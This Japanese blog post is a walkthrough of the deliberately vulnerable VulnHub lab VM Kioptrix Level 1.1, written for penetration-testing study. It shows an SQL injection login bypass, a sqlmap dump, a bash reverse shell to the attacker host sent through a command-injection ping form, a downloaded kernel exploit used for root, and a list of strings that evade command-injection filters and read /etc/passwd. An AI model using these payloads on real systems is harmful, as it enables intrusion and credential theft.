5
5

More than 5 years have passed since last update.

【VulnHub】Kioptrix: Level 1.1 (#2) - Walkthrough -

Last updated at Posted at 2019-09-04

Kioptrix: Level 1.1 (#2)」は、「Kioptrix」によって開発され、VulnHubにて公開されているシリーズの一つです。

リリース情報

名称: Kioptrix: Level 1.1 (#2)
リリース日: 2010年2月17日
シリーズ: Kioptrix
作者: Kioptrix
Twitter: @loneferret

Walkthrough

列挙

稼働しているIPアドレスの特定

ネットワーク内のIPアドレスを探すために、netdiscoverコマンドを使用します。

 Currently scanning: Finished!   |   Screen View: Unique Hosts                   

 12 Captured ARP Req/Rep packets, from 4 hosts.   Total size: 720                
 _____________________________________________________________________________
   IP            At MAC Address     Count     Len  MAC Vendor / Hostname      
 -----------------------------------------------------------------------------
 172.16.208.1    00:50:56:c0:00:08      1      60  VMware, Inc.                  
 172.16.208.2    00:50:56:f3:32:8a      7     420  VMware, Inc.                  
 172.16.208.254  00:50:56:ee:2c:f4      2     120  VMware, Inc.                  
 172.16.208.200  00:0c:29:ab:79:0f      2     120  VMware, Inc.

これで、標的のIPアドレスが172.16.208.200であることが特定できました。

実行されているサービスの特定

次にどのサービスが実行されているのか特定を行います。ポートスキャンの実行です。nmap -Pn -sS -sV -p- 172.16.208.200コマンド構文を使用します。各オプションの狙いは、次の通りです。

-Pn: スキャンの前に行われるpingでの疎通確認をせずにスキャンします
-sS: TCPのSYNパケットを送ってSYN+ACKが返ってくるか調査します
-sV: サービスのバージョンスキャン
-p-: すべてのポートを対象にします

root@kali:~# nmap -Pn -sS -sV -p- 172.16.208.200
Starting Nmap 7.70 ( https://nmap.org ) at 2019-09-03 14:31 JST
Nmap scan report for 172.16.208.200
Host is up (0.00020s latency).
Not shown: 65528 closed ports
PORT     STATE SERVICE  VERSION
22/tcp   open  ssh      OpenSSH 3.9p1 (protocol 1.99)
80/tcp   open  http     Apache httpd 2.0.52 ((CentOS))
111/tcp  open  rpcbind  2 (RPC #100000)
443/tcp  open  ssl/http Apache httpd 2.0.52 ((CentOS))
631/tcp  open  ipp      CUPS 1.1
788/tcp  open  status   1 (RPC #100024)
3306/tcp open  mysql    MySQL (unauthorized)
MAC Address: 00:0C:29:AB:79:0F (VMware)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 17.09 seconds
root@kali:~#

これで、標的にて稼働しているサービスが判明しました。特に気になるのは次の通りです。

ポート番号 サービス バージョン
22/tcp ssh OpenSSH 3.9p1 (protocol 1.99)
80/tcp http Apache httpd 2.0.52 ((CentOS))
443/tcp ssl/http Apache httpd 2.0.52 ((CentOS))
3306/tcp mysql MySQL (unauthorized)

HTTPサービスのスキャン

Firefoxブラウザを使って80/tcp443/tcpにアクセスしてみます。
RSA_Login.png
UsernamePasswordが要求されています。いくつか典型的なユーザ名とパスワードの組み合わせを試行してみますが、それでは突破できませんでした。
ここで、nmapコマンドにおける結果3306/tcp open mysql MySQL (unauthorized)を思い出してください。ユーザ名とパスワードの管理をMySQLにて行っている可能性が想像できます。

そこで「SQLインジェクション(CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection'))」による「認証回避(CWE-592: Authentication Bypass Issues)」の可能性について検証してみましょう。
Dr. Emin İslam TatlıIf による「SQL Injection Authentication Bypass Cheat Sheet」を参考にテストしてみました。結果、次の組み合わせで認証回避に成功しました。

Username : ' or 1=1--
Password : ' or 1=1--

SQLデータベースの列挙

SQLインジェクションの脆弱性が判明しました。ここでは、sqlmapコマンドを使用して、データベースのダンプを試みてみます。

sqlmap -u "hXXp://172.16.208.200/index.php" --dbms=MySQL --dump --data "uname=test&psw=pass" --level=5 --risk=3

root@kali:~# sqlmap -u "http://172.16.208.200/index.php" --dbms=MySQL --dump --data "uname=test&psw=pass" --level=5 --risk=3
        ___
       __H__
 ___ ___[,]_____ ___ ___  {1.2.7#stable}
|_ -| . [']     | .'| . |
|___|_  [']_|_|_|__,|  _|
      |_|V          |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

次の結果を得ることができました。

Database: webapp
Table: users
[2 entries]
+----+----------+------------+
| id | username | password   |
+----+----------+------------+
| 1  | admin    | 5afac8d85f |
| 2  | john     | 66lajGGbla |
+----+----------+------------+

アクセスの取得

ウェブサイトのログインに成功しました。その先では、Ping a Machine on the Network:という機能が提供されています。
Ping a Machine on the Network.png
試しに127.0.0.1を入力してみましょう。
localhost.png
pingコマンドの標準出力そのままの出力結果から、「OSコマンドインジェクション(CWE-78: Improper Neutralization of Special Elements used in an OS Command)」の脆弱性を抱えている可能性を推定します。
Linuxでは、複数のコマンドを連続させて処理する指定方法があります。whoamiコマンドと組み合わせてそれぞれ試してみましょう。

  • ; (セミコロン):前段コマンドが終了したら後段コマンドを実行する
  • & (アンパサント):前段コマンドを実行しつつ後段コマンドも実行する
  • |(パイプ):前段コマンドの結果を後段コマンドに渡して実行

いずれの指定方法でもwhoamiコマンドの実行結果を得ることができました。ここでは、whoamiiduname -aコマンドを; (セミコロン)で連結して実行してみました。
command.png

OSコマンドインジェクションのバイパスについては、付録を併せて確認してください。

ペイロードの作成

ここまで、「OSコマンドインジェクション(CWE-78)」の脆弱性を抱えていることが判明しています。この脆弱性を悪用し、ペイロード(悪意のある動作を実現するコード)を標的へ送り込む方法を検討します。
今回は、pentestmonkeyReverse Shell Cheat Sheet から、「Bashを使用したリバースシェル」を仕掛けてみましょう。

まず、攻撃端末側でncコマンド構文を使用し、リバースシェルからの接続を待ち受けます。

root@kali:~# nc -lvp 8080 
listening on [any] 8080 ...

次に、攻撃端末側のncがアクティブな状態で、ウェブサイトのPing a Machine on the Network:フォームに次のコマンド構文を入力し、[Submit]ボタンをクリックします。

; bash -i>&/dev/tcp/172.16.208.202/8080 0>&1

reverse_shell.png

システム探索

apacheアカウントで可能な範囲でシステム探索してみます。ここで注目したのは、CentOS release 4.5 (Final)の情報です。

bash-3.00$ uname -a
Linux kioptrix.level2 2.6.9-55.EL #1 Wed May 2 13:52:16 EDT 2007 i686 i686 i386 GNU/Linux
bash-3.00$ pwd
/var/www/html
bash-3.00$ ls
index.php
pingit.php
bash-3.00$ cat /etc/redhat-release
CentOS release 4.5 (Final)
bash-3.00$ cat /proc/version
Linux version 2.6.9-55.EL (mockbuild@builder6.centos.org) (gcc version 3.4.6 20060404 (Red Hat 3.4.6-8)) #1 Wed May 2 13:52:16 EDT 2007
bash-3.00$ 

特権の引き上げ

searchsploitコマンドを使って、Exploit-DBに掲載されているCentOS release 4.5 (Final)のexploitコードを検索してみましょう。

root@kali:~# searchsploit CentOS 4.5
------------------------------------------------------------------------------------ ----------------------------------------
 Exploit Title                                                                      |  Path
                                                                                    | (/usr/share/exploitdb/)
------------------------------------------------------------------------------------ ----------------------------------------
Linux Kernel 2.6 < 2.6.19 (White Box 4 / CentOS 4.4/4.5 / Fedora Core 4/5/6 x86) -  | exploits/linux_x86/local/9542.c
Linux Kernel 3.14.5 (CentOS 7 / RHEL) - 'libfutex' Local Privilege Escalation       | exploits/linux/local/35370.c
------------------------------------------------------------------------------------ ----------------------------------------
Shellcodes: No Result
root@kali:~# 

9542.c(EDB-ID: 9542)がPrivilege Escalation(特権昇格)のコードとして使えそうです。
9542.cコードをホームディレクトにコピーします。

root@kali:~# locate 9542.c
/usr/share/exploitdb/exploits/linux_x86/local/9542.c
root@kali:~# cp /usr/share/exploitdb/exploits/linux_x86/local/9542.c 9542.c

標的へコードを送るため、ローカルサーバを立ち上げます。python -m SimpleHTTPServerコマンドを実行します(ここでは、ポート番号を8081に指定しています)。

root@kali:~# python -m SimpleHTTPServer 8081
Serving HTTP on 0.0.0.0 port 8081 ...
172.16.208.200 - - [04/Sep/2019 08:50:54] "GET /exploit HTTP/1.0" 200 -

標的のshellに入り、/tmpディレクトリに移動して、9542.cコードをダウンロードします。
そして、gccを使って実行できるようにコンパイルし、exploitに実行権限を与えて実行します。次のコマンド構文を使用します。

bash-3.00$ cd /tmp
bash-3.00$ wget http://172.16.208.202:8081/9542.c
--09:58:07--  http://172.16.208.202:8081/9542.c
           => `9542.c'
Connecting to 172.16.208.202:8081... connected.
HTTP request sent, awaiting response... 200 OK
Length: 2,643 (2.6K) [text/plain]

    0K ..                                                    100%  229.14 MB/s

09:58:07 (229.14 MB/s) - `9542.c' saved [2643/2643]

bash-3.00$ gcc 9542.c -o exploit
9542.c:109:28: warning: no newline at end of file
bash-3.00$ chmod 777 exploit
bash-3.00$ ls -al exploit
-rwxrwxrwx  1 apache apache 6932 Sep  2 09:58 exploit
bash-3.00$ ./exploit
sh: no job control in this shell
sh-3.00# whoami
root

9542.cコードのコンパイル時に9542.c:109:28: warning: no newline at end of fileエラーが出力されます。28行目に改行コード(キャリッジリターン)を入力するためにGedit を起動しました。

システム探索 Part 2

特権取得後、/homeディレクトリを探索します。johnharoldアカウントが存在していることがわかります。johnアカウントはsqlmapコマンドの結果から、Database: webappのユーザと同一であることがわかります。

sh-3.00# cd /home
sh-3.00# ls
harold
john

/root/.mysql_historyファイルを調べると、MySQLに接続しているときに実行されたコマンドが確認できます。

sh-3.00# cat /root/.mysql_history
show databases;
create database webapp;
use webapp;
create table users(id INT,username varchar(100),password varchar(10));
show database;
select * from users;
show databases;
use webapp;
insert into users values(1,'admin','hello');
select * from users;
use mysql
show databases;
use mysql;
select * from users where user=john;
show tables;
select * from user where user=john;
select * from user where user='john';
select * from user;
create user 'john'@'localhost' identified by 'hiroshima';
create user 'webapp'@'localhost' identified by 'hiroshima';
create user 'webapp'@'localhost' IDENTIFIED BY 'hiroshima';
CREATE USER 'webapp'@'localhost' identified by 'hiroshima';
update user set password = password('hiroshima') where user = 'john';
use mysql;
show users;
select * from user;
create user 'john'@'localhost' identified by 'hiroshima';
version;
-v
;
help
flush privileges;
show databases;
use mysql;
grant select,insert,update,delete on *.* to 'john'@'localhost';
update user set password = password('hiroshima') where user = 'john';
flush priveleges;
use webapp;
show tables;
update user set password = password('Ha56!blaKAbl') where user = 'admin';
update username set password = password('Ha56!blaKAbl') where user = 'admin';
select * from users;
update username set password = password('Ha56!blaKAbl') where username = 'admin';
update users set password = password('Ha56!blaKAbl') where username = 'admin';
select * from users;
insert into users values(2,'john','66lajGGbla');
select * from users;
sh-3.00# 

この結果から、johnおよびadminアカウントのパスワードを確認することができました。

update user set password = password('hiroshima') where user = 'john';
update user set password = password('Ha56!blaKAbl') where user = 'admin';

MySQL探索

MySQLデータベースを探索してみます。まず、MySQLのバージョンに関する情報を収集します。

sh-3.00# mysql -V
mysql  Ver 14.7 Distrib 4.1.22, for redhat-linux-gnu (i686) using readline 4.3
sh-3.00# 

MySQLデータベースに直接ログインします。

sh-3.00# mysql -u john -p hiroshima -e "show databases;"
Enter password: hiroshima
ERROR 1049 (42000): Unknown database 'hiroshima'
sh-3.00# mysql -u john -p mysql -e "show databases;"
Enter password: hiroshima
Database
mysql
test
webapp
sh-3.00# 

webappデータベースのテーブルについて確認します。

sh-3.00# mysql -u john -p webapp -e "show tables"  
Enter password: hiroshima
Tables_in_webapp
users
sh-3.00# 

webappデータベースのusersテーブルを照会してみましょう。sqlmapコマンドと同一の結果を得ることができます。

sh-3.00# mysql -u john -p webapp -e "select * from users"
Enter password: hiroshima
id  username    password
1   admin   5afac8d85f
2   john    66lajGGbla
sh-3.00# 

付録:OSコマンドインジェクションのバイパス

今回の標的では、素直にOSコマンドのインジェクションを受け入れてくれました。しかし、一般的には、ブラックリストに登録された単語が含まれていると、送信したコマンドをブロックする対策が施されていることもあります。こうした文字列のブラックリスト対策をバイパスする方法についても検討します。

引用付きコマンド

cat /e"t"c/pa"s"swd
cat /'e'tc/pa's'swd

ワイルドカード

cat /etc/pa??wd
cat /etc/pa*wd

ヌル変数

cat /et``c/passw``d
cat /et$()c/pa$()sswd
cat /et${neko}c/pas${poi}swd

リバース & エンコード

`echo "dwssap/cte/ tac" | rev`
$(echo Y2F0IC9ldGMvcGFzc3dkCg== | base64 -d)

一重引用符のバイパス

w'h'o'am'i

二重引用符のバイパス

w"h"o"am"i

バックスラッシュとスラッシュのバイパス

w\ho\am\i
/\b\i\n/////s\h

$ @でバイパス

who$@ami

変数展開によるバイパス

/???/??t /???/p??s??
test=/ehhh/hmtc/pahhh/hmsswd
cat ${test//hhh\/hm/}
cat ${test//hh??hm/}

まとめ

  1. nmapコマンドを使って、80番ポートがオープン状態であることを確認しました。
  2. 「SQLインジェクション(CWE-89)」による「認証回避(CWE-592)」の脆弱性を特定しました。
  3. 「OSコマンドインジェクション(CWE-78)」の脆弱性を突いて「Bashを使用したリバースシェル」を仕掛けました。
  4. searchsploitコマンドを使ってCentOS release 4.5の脆弱性(EDB-ID: 9542, CVE-2009-2698)を特定し、特権昇格を行いました。
5
5
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
5
5